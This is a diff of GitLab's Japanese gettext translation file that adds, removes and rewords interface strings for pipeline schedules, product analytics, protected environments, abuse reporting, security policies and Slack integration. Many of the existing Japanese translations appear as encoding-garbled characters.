msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr "全件"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -29965,6 +30314,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "無効"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -29992,6 +30344,12 @@ msgstr "ã“ã®ãƒ‘イプラインã«ã¤ã„ã¦ç°¡å˜ã«è¨˜è¿°ã—ã¦ãã ã•ã„。
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "プロジェクトã®æ¦‚è¦ãƒšãƒ¼ã‚¸ã«è¡¨ç¤ºã—ãŸã„コンテンツをé¸æŠžã—ã¾ã™ã€‚"
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr "レイアウトã®å¹…"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr " %{min} ã‹ã‚‰ %{max} ã¾ã§ã®æ•°å­—ã§ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr "シンタックスãƒã‚¤ãƒ©ã‚¤ãƒˆã®ãƒ†ãƒ¼ãƒž"
msgid "Preferences|Tab width"
msgstr "タブ幅"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr "ã“ã®è¨­å®šã«ã‚ˆã‚Šã€ã‚·ã‚¹ãƒ†ãƒ ãƒ¬ã‚¤ã‚¢ã‚¦ãƒˆã¨ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆãƒ“
msgid "Preferences|Time preferences"
msgstr "時間設定"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "相対時間を使用"
@@ -31180,6 +31541,9 @@ msgstr "éžå…¬é–‹ã‚°ãƒ«ãƒ¼ãƒ—"
msgid "Private profile"
msgstr "éžå…¬é–‹ãƒ—ロフィール"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr "続行"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr "ç¾åœ¨ã€ã“ã®ã‚¿ã‚¤ãƒ—ã®ãƒãƒ£ãƒ¼ãƒˆã«ã¯ãƒ‡ãƒ¼ã‚¿ãŒã‚ã‚Šã¾ã›ã‚“。プロダクト分æžãƒ„ールを設定ã—ã¦ã„ãªã„å ´åˆã¯ã€Setup タブを開ã„ã¦ãã ã•ã„。"
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "記録ãªã—"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "フォーク"
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "ã“ã®è¨­å®šã‚’変更ã™ã‚‹ã«ã¯ç®¡ç†è€…ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
@@ -32335,9 +32912,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "ã“ã®ãƒªãƒã‚¸ãƒˆãƒªã«ã¯ç½²åã•ã‚ŒãŸã‚³ãƒŸãƒƒãƒˆã®ã¿ãƒ—ッシュã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr "Serverless Framework / JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} ã¯é–‹ç™ºè€…権é™ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒæ›¸ãè¾¼ã¿å¯èƒ½ã«ãªã‚Šã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
@@ -33259,6 +33854,9 @@ msgstr "デプロイ許å¯"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "環境"
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr "環境をé¸æŠž"
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34023,6 +34624,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr "ã™ã¹ã¦ã®ãƒ©ãƒ™ãƒ«ã‚’ %{label_references} %{label_text} ã«ç½®ãæ›ã
msgid "Replaces the clone URL root."
msgstr "クローンURLã®ãƒ«ãƒ¼ãƒˆã‚’ç½®ãæ›ãˆã‚‹ã€‚"
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34389,6 +34987,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "%{timeAgo} ã« %{reportedBy} ã«ã‚ˆã‚Šå ±å‘Š"
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -35923,9 +36554,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -35941,6 +36569,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr "プロジェクトを検索"
msgid "Search projects"
msgstr "プロジェクトを検索"
-msgid "Search projects..."
-msgstr "プロジェクトを検索..."
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr "脆弱性をéžè¡¨ç¤ºã«ã™ã‚‹éš›ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr "UIã®è„†å¼±æ€§ç®¡ç†æ©Ÿèƒ½ã‚’使用ã—ãŸã‚¤ãƒ³ã‚¿ãƒ©ã‚¯ãƒˆã€ãƒˆãƒ©ãƒƒã
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr "脆弱性レãƒãƒ¼ãƒˆ"
@@ -37260,9 +37921,6 @@ msgstr "ã“ã®ãƒ¬ãƒãƒ¼ãƒˆã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹æ¨©é™ãŒã‚ã‚Šã¾ã›ã‚“"
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr "ã“ã®ãƒ¬ãƒãƒ¼ãƒˆã‚’表示ã™ã‚‹ã«ã¯ã€æ‰¿èªã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã¨ã—ã¦ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã—ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr "ファイルブラウザを表示"
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr "ãƒãƒ¼ãƒ ã«æœ€é©ãªãƒ¯ãƒ¼ãƒ‰ã‚’入力ã—ã¦ãã ã•ã„。"
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr "ã“ã®å¤‰æ›´ã§ %{new_merge_request} を作æˆã™ã‚‹"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "レビューã®é–‹å§‹"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "グループをé¸æŠžã—ã¦ã€ãã®ã‚°ãƒ«ãƒ¼ãƒ—ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®èª¿æŸ»ã‚’開始ã—ã¾ã™ã€‚ãã‚Œã‹ã‚‰ãƒ—ロジェクトã€ãƒ©ãƒ™ãƒ«ã€ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã€ã¨ä½œæˆè€…ã«ã‚ˆã‚‹ãƒ•ã‚£ãƒ«ã‚¿ãƒªãƒ³ã‚°ã«é€²ã‚“ã§ãã ã•ã„。"
@@ -39665,18 +40326,36 @@ msgstr "使用数ã®ã‚«ã‚¦ãƒ³ãƒˆã¯1æ—¥1回ã€åˆå¾Œ12:00ã«å®Ÿè¡Œã•ã‚Œã¾ã™ã€
msgid "Subscriptions"
msgstr "サブスクリプション"
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr "設定ã§ãã‚‹ã®ã¯1回ã ã‘ã§ã™"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "ターミナル"
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "テスト"
-
msgid "TestReports|There are no test cases to display."
msgstr "表示ã™ã‚‹ãƒ†ã‚¹ãƒˆã‚±ãƒ¼ã‚¹ã¯ã‚ã‚Šã¾ã›ã‚“。"
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "フォークã®ãƒªãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãŒå‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
